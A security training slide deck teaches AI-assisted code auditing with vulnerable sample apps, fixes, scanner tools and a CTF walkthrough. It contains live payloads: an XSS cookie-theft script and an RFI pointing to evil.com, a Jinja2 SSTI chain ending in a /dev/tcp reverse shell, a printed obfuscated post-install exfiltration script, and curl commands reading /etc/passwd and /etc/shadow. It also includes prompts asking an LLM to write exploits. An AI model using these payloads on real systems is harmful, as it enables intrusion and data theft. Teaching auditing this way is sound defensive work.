Lesson 04 AI-Assisted Code Auditing
Theme:
Lesson 04 · Slide 1

AI-Assisted Code Auditing

Using LLMs to find security vulnerabilities in source code faster and more thoroughly than manual review alone.

What You'll Learn

How to leverage AI for systematic vulnerability discovery in application source code.

Why It Matters

Red teams that can audit code find bugs that scanners miss — AI makes this scalable.

Code Review OWASP Top 10 AI Prompting Vulnerability Discovery CTF
Lesson 04 · Slide 2

Important Notice

⚠ Educational Use Only

Code auditing techniques are for authorized security assessments and CTF competitions. Never exploit vulnerabilities in systems without explicit written permission.

This lesson teaches you to think like an attacker so you can build better defenses. All examples use intentionally vulnerable code for demonstration purposes.

Lesson 04 · Slide 3

Why Code Auditing Matters for Red Teams

Notes: In CTF competitions, source code is often provided intentionally. In real engagements, you may obtain source through repos, decompilation, or leaked code.
Lesson 04 · Slide 4

Manual Audit vs. AI-Assisted Audit

AspectManual ReviewAI-Assisted Review
Speed~200 LOC/hour~5,000+ LOC/hour
Pattern RecognitionLimited by reviewer experienceTrained on millions of vuln patterns
Context UnderstandingExcellent — humans understand intentGood — LLMs follow data flow across files
False PositivesLowModerate (needs human triage)
Novel VulnsStrong (creative reasoning)Weaker (pattern-based)
ConsistencyVaries with fatigueConsistent across sessions

Key Insight

The best approach is AI-assisted human review — use AI for breadth and speed, humans for depth and creativity.

Lesson 04 · Slide 5

The Code Auditing Workflow

  1. Reconnaissance — Identify the tech stack, framework, language, and dependencies
  2. Attack Surface Mapping — Find all entry points: routes, API endpoints, file uploads, user inputs
  3. Data Flow Tracing — Follow user input from source to sink (where it gets used dangerously)
  4. Vulnerability Pattern Matching — Check for known insecure patterns (OWASP Top 10)
  5. Logic Flaw Analysis — Review authentication, authorization, and business logic
  6. Dependency Audit — Check third-party libraries for known CVEs
  7. Report & Prioritize — Rank findings by exploitability and impact
Notes: AI can accelerate steps 2-5 dramatically. Steps 1 and 7 still benefit from human judgment.
Lesson 04 · Slide 6

OWASP Top 10 — The Auditor's Checklist

#CategoryWhat to Look For
A01Broken Access ControlMissing auth checks, IDOR, privilege escalation
A02Cryptographic FailuresHardcoded keys, weak algorithms, plaintext secrets
A03InjectionSQLi, XSS, command injection, LDAP injection
A04Insecure DesignMissing rate limits, no input validation architecture
A05Security MisconfigurationDebug mode, default credentials, verbose errors
A06Vulnerable ComponentsOutdated libraries with known CVEs
A07Auth FailuresWeak passwords, missing MFA, session issues
A08Data Integrity FailuresInsecure deserialization, unsigned updates
A09Logging FailuresMissing audit logs, log injection
A10SSRFUnvalidated URLs, internal network access
Lesson 04 · Slide 7

Vulnerability #1: SQL Injection (Python Flask)

Vulnerable Code

@app.route('/user')
def get_user():
    username = request.args.get('username')
    query = f"SELECT * FROM users WHERE username = '{username}'"
    result = db.execute(query)
    return jsonify(result.fetchall())

AI-Identified Issue

SQL Injection — Critical

Line 3: User input username is interpolated directly into an SQL query via f-string. An attacker can supply ' OR '1'='1' -- to dump the entire users table, or use UNION SELECT to extract data from other tables.

Secure Fix

@app.route('/user')
def get_user():
    username = request.args.get('username')
    query = "SELECT * FROM users WHERE username = ?"
    result = db.execute(query, (username,))
    return jsonify(result.fetchall())
Lesson 04 · Slide 8

Vulnerability #2: Cross-Site Scripting (Node.js Express)

Vulnerable Code

app.get('/search', (req, res) => {
  const query = req.query.q;
  res.send(`
    <h1>Search Results</h1>
    <p>You searched for: ${query}</p>
    <p>No results found.</p>
  `);
});

AI-Identified Issue

Reflected XSS — High

Line 4: The query parameter q is reflected directly into HTML without sanitization. An attacker can inject <script>document.location='https://evil.com/?c='+document.cookie</script> to steal session cookies.

Secure Fix

const escapeHtml = require('escape-html');

app.get('/search', (req, res) => {
  const query = escapeHtml(req.query.q || '');
  res.send(`
    <h1>Search Results</h1>
    <p>You searched for: ${query}</p>
  `);
});
Lesson 04 · Slide 9

Vulnerability #3: Command Injection (Python Flask)

Vulnerable Code

@app.route('/ping')
def ping():
    host = request.args.get('host')
    output = os.popen(f'ping -c 3 {host}').read()
    return f'<pre>{output}</pre>'

AI-Identified Issue

OS Command Injection — Critical

Line 3: User input is passed directly to os.popen(). An attacker can supply ; cat /etc/passwd or $(whoami) to execute arbitrary system commands with the web server's privileges.

Secure Fix

import subprocess, re

@app.route('/ping')
def ping():
    host = request.args.get('host', '')
    if not re.match(r'^[\w.\-]+$', host):
        return 'Invalid hostname', 400
    result = subprocess.run(
        ['ping', '-c', '3', host],
        capture_output=True, text=True, timeout=10
    )
    return f'<pre>{result.stdout}</pre>'
Lesson 04 · Slide 10

Vulnerability #4: Server-Side Request Forgery (SSRF)

Vulnerable Code

@app.route('/fetch')
def fetch_url():
    url = request.args.get('url')
    response = requests.get(url)
    return response.text

AI-Identified Issue

SSRF — High

Line 3: The server fetches any URL the user provides. An attacker can request http://169.254.169.254/latest/meta-data/ to access AWS instance metadata, or http://localhost:6379/ to interact with internal Redis. The response is returned directly, leaking internal data.

Secure Fix

from urllib.parse import urlparse
import ipaddress

ALLOWED_HOSTS = ['api.example.com', 'cdn.example.com']

@app.route('/fetch')
def fetch_url():
    url = request.args.get('url', '')
    parsed = urlparse(url)
    if parsed.hostname not in ALLOWED_HOSTS:
        return 'Host not allowed', 403
    if parsed.scheme not in ('http', 'https'):
        return 'Invalid scheme', 400
    response = requests.get(url, timeout=5)
    return response.text
Lesson 04 · Slide 11

Vulnerability #5: Path Traversal (Node.js Express)

Vulnerable Code

app.get('/download', (req, res) => {
  const filename = req.query.file;
  const filepath = path.join(__dirname, 'uploads', filename);
  res.sendFile(filepath);
});

AI-Identified Issue

Path Traversal — High

Line 2-3: Despite using path.join(), an attacker can supply ../../etc/passwd to read arbitrary files. path.join('/app/uploads', '../../etc/passwd') resolves to /etc/passwd.

Secure Fix

app.get('/download', (req, res) => {
  const filename = path.basename(req.query.file || '');
  const filepath = path.join(__dirname, 'uploads', filename);
  // Verify resolved path is still within uploads directory
  if (!filepath.startsWith(path.join(__dirname, 'uploads'))) {
    return res.status(403).send('Access denied');
  }
  res.sendFile(filepath);
});
Lesson 04 · Slide 12

Vulnerability #6: Insecure Deserialization (Python)

Vulnerable Code

import pickle, base64

@app.route('/load-session')
def load_session():
    data = request.cookies.get('session_data')
    session = pickle.loads(base64.b64decode(data))
    return f'Welcome back, {session["username"]}'

AI-Identified Issue

Insecure Deserialization — Critical

Line 5: pickle.loads() on user-controlled input allows arbitrary code execution. An attacker can craft a pickle payload that runs os.system('reverse_shell') when deserialized. Python's pickle module is inherently unsafe for untrusted data.

Secure Fix

import json, hmac, hashlib

SECRET_KEY = os.environ['SESSION_SECRET']

@app.route('/load-session')
def load_session():
    data = request.cookies.get('session_data', '')
    sig = request.cookies.get('session_sig', '')
    expected = hmac.new(SECRET_KEY.encode(), data.encode(),
                        hashlib.sha256).hexdigest()
    if not hmac.compare_digest(sig, expected):
        return 'Invalid session', 403
    session = json.loads(base64.b64decode(data))
    return f'Welcome back, {session["username"]}'
Lesson 04 · Slide 13

Vulnerability #7: PHP File Inclusion

Vulnerable Code

<?php
$page = $_GET['page'];
include("templates/" . $page . ".php");
?>

AI-Identified Issue

Local/Remote File Inclusion — Critical

Line 2-3: User input controls which file is included. An attacker can use ?page=../../../etc/passwd%00 (null byte for older PHP) for LFI, or ?page=http://evil.com/shell for RFI if allow_url_include is enabled. With PHP wrappers: ?page=php://filter/convert.base64-encode/resource=config to read source code.

Secure Fix

<?php
$allowed = ['home', 'about', 'contact', 'login'];
$page = $_GET['page'] ?? 'home';
if (!in_array($page, $allowed, true)) {
    http_response_code(404);
    exit('Page not found');
}
include("templates/" . $page . ".php");
?>
Lesson 04 · Slide 14

AI Prompting Strategies for Code Review

Strategy 1: Role-Based Prompting

You are a senior application security engineer performing a
white-box code audit. Analyze the following code for security
vulnerabilities. For each finding, provide:
1. Vulnerability type (CWE ID if possible)
2. Affected line(s)
3. Severity (Critical/High/Medium/Low)
4. Proof-of-concept exploit payload
5. Recommended remediation

Focus on: injection flaws, authentication bypass, access control
issues, cryptographic weaknesses, and data exposure.

Why This Works

Role-based prompting activates the LLM's security domain knowledge, producing structured output that maps to real vulnerability taxonomies (CWE/CVSSv3).

Lesson 04 · Slide 15

AI Prompting Strategies (continued)

Strategy 2: Systematic Audit Checklist

Audit this code against the following checklist:
[ ] SQL/NoSQL injection in all database queries
[ ] XSS in all rendered output
[ ] Command injection in system calls
[ ] Path traversal in file operations
[ ] SSRF in outbound HTTP requests
[ ] Insecure deserialization
[ ] Hardcoded secrets or API keys
[ ] Missing authentication on sensitive routes
[ ] Missing authorization (IDOR)
[ ] Weak cryptographic operations
[ ] Race conditions in concurrent operations
[ ] Information leakage in error messages

For each item, state PASS or FAIL with evidence.

This forces the LLM to systematically check every category rather than reporting only the most obvious findings.

Lesson 04 · Slide 16

AI Prompting Strategies (continued)

Strategy 3: Data Flow Tracing

Trace every user-controlled input in this application from
source to sink. Map each input to where it is:
1. Received (source): request parameters, headers, cookies, etc.
2. Processed: validation, sanitization, transformation
3. Used (sink): database queries, shell commands, file ops, HTML output

Flag any path where user input reaches a dangerous sink
without adequate sanitization.

Strategy 4: Iterative Deep Dive

Step 1: "List all routes/endpoints and their HTTP methods"
Step 2: "For /api/admin/*, what authentication is required?"
Step 3: "In the upload handler, trace the filename parameter"
Step 4: "Can the JWT secret be brute-forced? Show the config"

Break complex codebases into focused questions — AI performs better on specific, targeted queries than on "find all bugs."

Lesson 04 · Slide 17

Strategy 5: Adversarial Thinking Prompt

You are a skilled attacker who has obtained the source code of
this web application. Your goal is to:
1. Gain unauthorized access to admin functionality
2. Extract sensitive data from the database
3. Achieve remote code execution on the server

Analyze the code and describe your attack plan step by step.
For each attack vector, provide the exact HTTP request you
would craft.

Pro Tip: Chain Vulnerabilities

Ask the AI: "Can any of these vulnerabilities be chained together for greater impact?" A low-severity info leak combined with an IDOR can become a critical exploit chain.

Notes: Adversarial prompting often surfaces findings that defensive checklists miss because it forces the model to think about exploitation paths, not just pattern matching.
Lesson 04 · Slide 18

Automated Scanners vs. AI Review

Static Analysis (SAST)

  • Rule-based pattern matching
  • Fast, consistent, low false negatives for known patterns
  • Poor at logic flaws
  • Requires language-specific rules
  • Cannot reason about business context

AI-Assisted Review

  • Semantic understanding of code
  • Can reason about business logic
  • Cross-language, cross-framework
  • Higher false positive rate
  • Can explain findings in natural language

Best Practice: Layer Your Approach

Run automated scanners first (fast, cheap, catches low-hanging fruit), then use AI for deeper analysis of critical components, and finally do manual review of authentication, authorization, and business logic.

Lesson 04 · Slide 19

Tool: Semgrep

A fast, open-source static analysis tool that supports custom rules. Ideal for red teams because rules are easy to write and share.

# semgrep rule: detect SQL injection in Flask
rules:
  - id: flask-sqli
    patterns:
      - pattern: |
          db.execute(f"...{$USER_INPUT}...")
      - pattern-not: |
          db.execute("...", ...)
    message: "Potential SQL injection via f-string interpolation"
    severity: ERROR
    languages: [python]
# Run Semgrep against a target directory
semgrep --config auto ./target-app/
semgrep --config p/owasp-top-ten ./target-app/
semgrep --config p/python ./target-app/

AI Augmentation

Feed Semgrep results to an LLM: "Here are the Semgrep findings. Triage each one — which are true positives? Which can be chained together?"

Lesson 04 · Slide 20

Tool: CodeQL

GitHub's semantic code analysis engine. Treats code as data — you query it like a database.

/**
 * @name SQL injection from request parameter
 * @kind path-problem
 */
import python
import semmle.python.security.dataflow.SqlInjection

from SqlInjection::Configuration cfg, DataFlow::PathNode source,
     DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink.getNode(), source, sink,
  "This SQL query depends on $@.",
  source.getNode(), "user-provided value"
# Create database and run queries
codeql database create my-db --language=python --source-root=./app
codeql database analyze my-db codeql/python-queries --format=sarif-latest

CodeQL excels at taint tracking — following data from untrusted sources to dangerous sinks across function boundaries.

Lesson 04 · Slide 21

Tool: Bandit (Python-Specific)

A security linter designed specifically for Python codebases. Fast to run, easy to integrate into CI.

# Install and run Bandit
pip install bandit
bandit -r ./flask-app/ -f json -o results.json

# Run with specific tests
bandit -r ./flask-app/ -t B301,B302,B303,B608

# Common test IDs:
# B301 - pickle usage
# B302 - marshal usage
# B303 - weak hash (md5/sha1)
# B608 - SQL injection (string formatting)
# B602 - subprocess with shell=True
# B501 - requests with verify=False

AI Augmentation Workflow

  1. Run bandit -r ./app -f json to get machine-readable results
  2. Feed JSON to LLM: "Analyze these Bandit findings in context of the full source code. Eliminate false positives and assess real-world exploitability."
  3. Ask LLM to generate proof-of-concept payloads for confirmed findings
Lesson 04 · Slide 22

How AI Augments Traditional Tools

Limitation of ScannersHow AI Helps
High false positive ratesAI triages findings by understanding code context
Can't find logic flawsAI reasons about business logic and auth flows
No exploit generationAI can draft PoC payloads for confirmed vulns
Limited cross-file analysisAI traces data flow across entire codebases
Rule maintenance burdenAI adapts to new patterns without custom rules
No natural language reportsAI explains findings to non-security stakeholders
Notes: Think of scanners as fast filters and AI as your intelligent analyst. Together they cover both breadth and depth.
Lesson 04 · Slide 23

Real-World Audit: Vulnerable Flask App

Let's audit a realistic Flask application with multiple vulnerabilities.

from flask import Flask, request, render_template_string
import sqlite3, os, pickle, base64

app = Flask(__name__)
db = sqlite3.connect('app.db', check_same_thread=False)
SECRET = "supersecret123"  # Hardcoded secret

@app.route('/login', methods=['POST'])
def login():
    user = request.form['username']
    pw = request.form['password']
    q = f"SELECT * FROM users WHERE username='{user}' AND password='{pw}'"
    result = db.execute(q).fetchone()
    if result:
        session_data = base64.b64encode(
            pickle.dumps({'user': user, 'role': result[3]})
        ).decode()
        resp = app.make_response('Login OK')
        resp.set_cookie('session', session_data)
        return resp
    return 'Invalid credentials', 401

How many vulnerabilities can you spot? (We'll walk through them next.)

Lesson 04 · Slide 24

Vulnerable Flask App (continued)

@app.route('/profile')
def profile():
    cookie = request.cookies.get('session')
    session = pickle.loads(base64.b64decode(cookie))
    template = f"<h1>Welcome {session['user']}</h1>"
    return render_template_string(template)

@app.route('/export')
def export_data():
    fmt = request.args.get('format', 'csv')
    filename = request.args.get('name', 'export')
    os.system(f'python generate_report.py --format {fmt} --output /tmp/{filename}')
    return send_file(f'/tmp/{filename}')

@app.route('/avatar')
def avatar():
    url = request.args.get('url')
    import requests as r
    img = r.get(url).content
    return img, 200, {'Content-Type': 'image/png'}
Lesson 04 · Slide 25

AI Audit Results: Flask App Findings

#VulnerabilityLocationSeverity
1SQL Injection/login — f-string in queryCritical
2Hardcoded SecretLine 6 — SECRET variableHigh
3Insecure Deserialization/profile — pickle.loads()Critical
4Server-Side Template Injection/profile — render_template_string()Critical
5Command Injection/export — os.system()Critical
6Path Traversal/export — filename paramHigh
7SSRF/avatar — unvalidated URLHigh
8Plaintext Password Storage/login — password compared directlyHigh

Key Observation

An AI found 8 vulnerabilities in 25 lines of code in under 5 seconds — including the SSTI vulnerability that many scanners would miss.

Lesson 04 · Slide 26

Deep Dive: Server-Side Template Injection

One of the most powerful vulnerabilities AI can identify — often missed by traditional scanners.

# Vulnerable pattern in Flask
template = f"<h1>Welcome {session['user']}</h1>"
return render_template_string(template)

Exploitation Chain

# Step 1: Detect SSTI — register with username:
{{ 7*7 }}

# Step 2: If "49" appears, confirm SSTI. Read config:
{{ config.items() }}

# Step 3: Remote Code Execution via Jinja2:
{{ ''.__class__.__mro__[1].__subclasses__()[407]('id', shell=True, stdout=-1).communicate() }}

# Step 4: Reverse shell:
{{ ''.__class__.__mro__[1].__subclasses__()[407]('bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"', shell=True, stdout=-1).communicate() }}

SSTI in Jinja2 is equivalent to RCE. AI can identify both the vulnerable render_template_string() call and generate the exploitation chain.

Lesson 04 · Slide 27

Real-World Audit: Vulnerable Express App

const express = require('express');
const { exec } = require('child_process');
const mysql = require('mysql');
const app = express();

const db = mysql.createConnection({
  host: 'localhost', user: 'root',
  password: 'admin123',  // Hardcoded credentials
  database: 'myapp'
});

app.get('/user/:id', (req, res) => {
  db.query(`SELECT * FROM users WHERE id = ${req.params.id}`,
    (err, results) => {
      res.json(results);
    });
});

app.post('/upload', (req, res) => {
  const filename = req.body.filename;
  exec(`file /tmp/uploads/${filename}`, (err, stdout) => {
    res.send(`File type: ${stdout}`);
  });
});

app.get('/redirect', (req, res) => {
  res.redirect(req.query.url);
});
Lesson 04 · Slide 28

AI Audit Results: Express App Findings

#VulnerabilityLocationSeverity
1SQL Injection/user/:id — template literal in queryCritical
2Hardcoded DB CredentialsLine 7-8 — plaintext passwordHigh
3Command Injection/upload — exec() with user inputCritical
4Open Redirect/redirect — unvalidated redirect URLMedium
5Missing Input ValidationNo sanitization on any endpointMedium

Exploit: Command Injection via Filename

# POST /upload with body:
# filename=test.txt; cat /etc/passwd
# Becomes: file /tmp/uploads/test.txt; cat /etc/passwd

curl -X POST http://target/upload \
  -d 'filename=test.txt%3B+cat+/etc/passwd'
Lesson 04 · Slide 29

Supply Chain Attacks: Analyzing Dependencies

Modern applications import hundreds of packages. Each is a potential attack vector.

Attack Vectors

  • Typosquatting — reqeusts instead of requests
  • Dependency Confusion — publishing a public package with a private package's name
  • Compromised Maintainers — legitimate packages with injected malware
  • Known CVEs — outdated packages with public exploits

AI-Assisted Analysis

  • Analyze package.json / requirements.txt for suspicious packages
  • Check for unusually broad version ranges (*)
  • Identify packages with post-install scripts
  • Detect minified/obfuscated code in dependencies
Lesson 04 · Slide 30

AI Prompt for Dependency Auditing

Analyze this package.json/requirements.txt for supply chain risks:

1. Flag any packages with known CVEs
2. Identify typosquatting risks (similar names to popular packages)
3. Check for overly permissive version ranges
4. Flag packages with post-install scripts
5. Identify packages that request unusual permissions
   (network, filesystem, OS access) for their stated purpose
6. Check for packages with very few downloads or recent ownership transfers

Checking Dependencies with AI

# Generate dependency tree for AI analysis
pip freeze > full_requirements.txt
pip-audit --format json > audit_results.json

# For Node.js
npm ls --all --json > deps.json
npm audit --json > audit.json

# Feed both files to an LLM for contextual analysis
Lesson 04 · Slide 31

Recognizing Obfuscated Malicious Code

AI can identify suspicious patterns in dependency source code that automated tools miss.

Example: Malicious Post-Install Script

// Found in a typosquatted npm package
const { exec } = require('child_process');
const os = require('os');
const dns = require('dns');

const d = Buffer.from('YUhSMGNITTZMeTlsZG1sc0xtTnZiUT09','base64')
  .toString();
const e = Buffer.from(d, 'base64').toString();

exec(`curl -s ${e}/c?h=${os.hostname()}&u=${os.userInfo().username}`,
  () => {});
// Decoded URL: https://evil.com
// Exfiltrates hostname and username on install

Red Flags AI Can Spot

Double base64 encoding, DNS/HTTP calls in install scripts, environment variable harvesting, eval() with encoded strings, and obfuscated URLs are all patterns AI can flag when reviewing dependency source.

Lesson 04 · Slide 32

Building Your AI Code Audit Pipeline

  1. Automated Layer — Run Semgrep + Bandit/ESLint-security on every commit
    semgrep --config auto --json ./app > semgrep.json
    bandit -r ./app -f json -o bandit.json
  2. AI Triage Layer — Feed scanner results + source code to LLM
    prompt = f"""
    Given these scanner findings: {scanner_results}
    And the source code: {source_code}
    
    Triage each finding: true positive, false positive, or needs investigation.
    For true positives, generate a proof-of-concept exploit.
    """
  3. AI Deep Audit — Targeted prompts for critical components (auth, payment, admin)
  4. Human Review — Expert review of AI findings + logic flaw hunting
Lesson 04 · Slide 33

Common Pitfalls in AI Code Auditing

Mitigation

Use multiple prompting strategies, ask the AI to show its reasoning, and always manually verify critical findings before reporting them.

Lesson 04 · Slide 34

Vulnerability #8: Broken Access Control (IDOR)

Vulnerable Code

@app.route('/api/invoice/<invoice_id>')
@login_required
def get_invoice(invoice_id):
    invoice = db.execute(
        "SELECT * FROM invoices WHERE id = ?", (invoice_id,)
    ).fetchone()
    if not invoice:
        return 'Not found', 404
    return jsonify(dict(invoice))

AI-Identified Issue

Insecure Direct Object Reference (IDOR) — High

The endpoint checks that the user is logged in (@login_required) but never verifies that the authenticated user owns the requested invoice. Any logged-in user can access any invoice by iterating IDs: /api/invoice/1, /api/invoice/2, etc.

Secure Fix

@app.route('/api/invoice/<invoice_id>')
@login_required
def get_invoice(invoice_id):
    invoice = db.execute(
        "SELECT * FROM invoices WHERE id = ? AND user_id = ?",
        (invoice_id, current_user.id)
    ).fetchone()
    if not invoice:
        return 'Not found', 404
    return jsonify(dict(invoice))
Lesson 04 · Slide 35

Vulnerability #9: JWT Weaknesses

Vulnerable Code

import jwt

@app.route('/api/protected')
def protected():
    token = request.headers.get('Authorization', '').replace('Bearer ', '')
    try:
        payload = jwt.decode(token, options={"verify_signature": False})
        if payload.get('role') == 'admin':
            return get_admin_data()
    except jwt.DecodeError:
        pass
    return 'Unauthorized', 401

AI-Identified Issue

JWT Signature Bypass — Critical

Line 6: verify_signature: False means any token is accepted regardless of signature. An attacker can forge a token with {"role": "admin"} using any key — or none at all. The alg: none attack also applies.

# Forge an admin token (no signature needed)
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '='  # header
echo -n '{"role":"admin","sub":"attacker"}' | base64 | tr -d '='  # payload
# Token: header.payload.
Lesson 04 · Slide 36

Vulnerability #10: Race Conditions

Vulnerable Code

@app.route('/transfer', methods=['POST'])
@login_required
def transfer():
    amount = int(request.form['amount'])
    to_user = request.form['to_user']

    balance = db.execute(
        "SELECT balance FROM accounts WHERE user_id = ?",
        (current_user.id,)
    ).fetchone()[0]

    if balance >= amount:
        db.execute("UPDATE accounts SET balance = balance - ? WHERE user_id = ?",
                   (amount, current_user.id))
        db.execute("UPDATE accounts SET balance = balance + ? WHERE user_id = ?",
                   (amount, to_user))
        db.commit()
        return 'Transfer complete'
    return 'Insufficient funds', 400

Time-of-Check to Time-of-Use (TOCTOU) — High

The balance check and deduction are not atomic. Sending multiple simultaneous requests can drain the account below zero. With $100 balance, sending 10 concurrent $100 transfers succeeds for all of them.

Lesson 04 · Slide 37

Multi-Language Audit Patterns

AI can audit code in any language. Here are common vulnerability patterns across stacks.

LanguageCommon Sink FunctionsVuln Type
Pythonos.system(), eval(), pickle.loads()RCE
Pythonrender_template_string()SSTI
Node.jsexec(), eval(), Function()RCE
Node.jsres.send() with user inputXSS
PHPinclude(), system(), unserialize()RCE/LFI
JavaRuntime.exec(), ObjectInputStreamRCE
Rubysystem(), send(), ERB.new().resultRCE/SSTI
Goos/exec.Command(), template.HTML()RCE/XSS
Notes: When prompting an AI to audit code, specify the exact framework and version — vulnerability patterns differ between Flask 2.x and Django 4.x, or Express 4 and Fastify.
Lesson 04 · Slide 38

Advanced: Configuration File Auditing

Don't forget to audit configuration alongside code — misconfigurations are the #5 OWASP category.

Docker / docker-compose.yml

# Vulnerable patterns AI should flag:
services:
  web:
    privileged: true              # Container runs as root with full host access
    volumes:
      - /:/host                   # Entire host filesystem mounted
    environment:
      - DB_PASSWORD=hunter2       # Secrets in plaintext
      - DEBUG=true                # Debug mode in production
    ports:
      - "0.0.0.0:22:22"          # SSH exposed to all interfaces

nginx.conf

# Vulnerable patterns:
location /api {
    proxy_pass http://backend;
    proxy_set_header X-Real-IP $remote_addr;
    # Missing: rate limiting, request size limits
}
location ~ /\.  { }  # Dot files accessible (exposes .git, .env)
Lesson 04 · Slide 39

Audit Workflow: Step-by-Step

Phase 1: Reconnaissance

Prompt: "Analyze this project structure and identify:
1. The web framework and version
2. The database technology
3. Authentication mechanism
4. All API endpoints with their HTTP methods
5. Any third-party integrations
6. File upload/download functionality"

Phase 2: Attack Surface Mapping

Prompt: "For each endpoint you identified, classify it as:
- PUBLIC (no auth required)
- AUTHENTICATED (any logged-in user)
- AUTHORIZED (role-based access)
Flag any sensitive endpoints that are PUBLIC or only AUTHENTICATED
when they should require AUTHORIZED access."
Notes: Systematic phased prompting produces dramatically better results than a single "find all bugs" prompt.
Lesson 04 · Slide 40

Audit Workflow: Step-by-Step (continued)

Phase 3: Vulnerability Hunting

Prompt: "For each endpoint, trace the data flow:
1. Where does user input enter? (params, body, headers, cookies)
2. Is it validated or sanitized?
3. Where does it go? (database, shell, template, file system, HTTP)
4. Are there any dangerous function calls in the path?

Provide specific line numbers and exploit payloads."

Phase 4: Exploitation Assessment

Prompt: "For each confirmed vulnerability:
1. Write a curl command or Python script to exploit it
2. What is the maximum impact? (data theft, RCE, privilege escalation)
3. Can this vulnerability be chained with others?
4. What would a defender see in logs?"
Lesson 04 · Slide 41

CTF Challenge: Web App Code Audit

Challenge Scenario

You've obtained the source code of a web application during a CTF competition. Your mission: find all exploitable vulnerabilities and demonstrate exploitation for each.

Your Target Application

from flask import Flask, request, redirect, send_file
import sqlite3, os, hashlib, yaml

app = Flask(__name__)
conn = sqlite3.connect(':memory:', check_same_thread=False)
conn.execute('''CREATE TABLE users
    (id INTEGER PRIMARY KEY, username TEXT, password TEXT, role TEXT)''')
conn.execute("INSERT INTO users VALUES (1,'admin',?, 'admin')",
    (hashlib.md5(b'FL@gH3r0!').hexdigest(),))
conn.execute("INSERT INTO users VALUES (2,'guest',?, 'user')",
    (hashlib.md5(b'guest123').hexdigest(),))
Lesson 04 · Slide 42

CTF Challenge: Target App (continued)

@app.route('/login', methods=['POST'])
def login():
    u = request.form.get('username', '')
    p = hashlib.md5(request.form.get('password', '').encode()).hexdigest()
    row = conn.execute(
        f"SELECT * FROM users WHERE username='{u}' AND password='{p}'"
    ).fetchone()
    if row:
        return redirect(f'/dashboard?user={row[1]}&role={row[3]}')
    return 'Access Denied', 403

@app.route('/dashboard')
def dashboard():
    user = request.args.get('user', 'guest')
    role = request.args.get('role', 'user')
    if role == 'admin':
        return f'<h1>Admin Panel</h1><p>Welcome {user}</p>' \
               f'<p>Flag: CTF{{y0u_f0und_th3_fl@g}}</p>'
    return f'<h1>Dashboard</h1><p>Welcome {user}</p>'
Lesson 04 · Slide 43

CTF Challenge: Target App (continued)

@app.route('/settings', methods=['POST'])
def settings():
    config = request.get_data()
    settings = yaml.load(config, Loader=yaml.FullLoader)
    return f"Settings updated: {settings}"

@app.route('/backup')
def backup():
    filename = request.args.get('file', 'backup.tar.gz')
    return send_file(f'/backups/{filename}')

@app.route('/health')
def health():
    check = request.args.get('cmd', 'uptime')
    result = os.popen(check).read()
    return f'<pre>{result}</pre>'

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0')

Your Task

Use AI-assisted code auditing to identify every vulnerability. For each: name the vulnerability type, cite the line, rate severity, and write a proof-of-concept exploit. How many can you find?

Lesson 04 · Slide 44

CTF Challenge: Solution Walkthrough

#VulnerabilityEndpointSeverity
1SQL Injection/loginCritical
2Broken Access Control/dashboardCritical
3MD5 Password Hashing/loginHigh
4YAML Deserialization/settingsCritical
5Path Traversal/backupHigh
6Command Injection/healthCritical
7Debug Mode Enabledapp.run(debug=True)High
8Reflected XSS/dashboardMedium
9Hardcoded CredentialsDB seedMedium
10Host 0.0.0.0 Bindingapp.run()Low
Lesson 04 · Slide 45

CTF Solution: Key Exploits

Exploit 1: Broken Access Control (Easiest Path to Flag)

# The /dashboard endpoint trusts client-supplied role parameter!
curl 'http://target/dashboard?user=hacker&role=admin'
# Response: Flag: CTF{y0u_f0und_th3_fl@g}

Exploit 2: SQL Injection Bypass

# Bypass login with SQLi
curl -X POST http://target/login \
  -d "username=admin'--&password=anything"
# Redirects to /dashboard?user=admin&role=admin

Exploit 3: Command Injection for RCE

# /health endpoint passes input directly to os.popen()
curl 'http://target/health?cmd=id;cat+/etc/passwd'

Exploit 4: Path Traversal

# Read arbitrary files via /backup
curl 'http://target/backup?file=../../etc/shadow'
Lesson 04 · Slide 46

CTF Solution: Advanced Exploits

Exploit 5: YAML Deserialization (RCE)

# yaml.FullLoader can instantiate Python objects
curl -X POST http://target/settings \
  -H 'Content-Type: text/yaml' \
  -d '!!python/object/apply:os.popen ["id"]'

Exploit 6: Flask Debug Console

# debug=True exposes Werkzeug debugger
# If an error is triggered, interactive Python console is available
curl 'http://target/health?cmd='
# Then access /console for interactive Python shell
# (may require PIN bypass — PIN can be computed from machine-id)

Exploit Chaining

Notice how multiple vulnerabilities provide different paths to the same goal. In a real engagement, having multiple exploitation paths means higher reliability — if one is patched, others remain.

Lesson 04 · Slide 47

Writing an AI-Powered Audit Report

Structure your findings for maximum impact, whether for a CTF write-up or a real penetration test report.

Prompt: "Format these findings as a professional security audit report:

For each vulnerability include:
- Title and CWE ID
- Severity (CVSS 3.1 score and rating)
- Affected component (file, line, function)
- Description (what is the issue)
- Impact (what can an attacker achieve)
- Proof of Concept (exact exploit steps)
- Remediation (specific code fix)
- References (relevant CWE, OWASP pages)

Sort by severity, highest first."
Notes: AI-generated reports need human review for accuracy, but they dramatically reduce the time to produce professional-quality documentation.
Lesson 04 · Slide 48

Key Takeaways

Next Lesson

Lesson 05 — Web Application Vulnerabilities: hands-on exploitation of the vulnerability classes we identified today.

1 / ?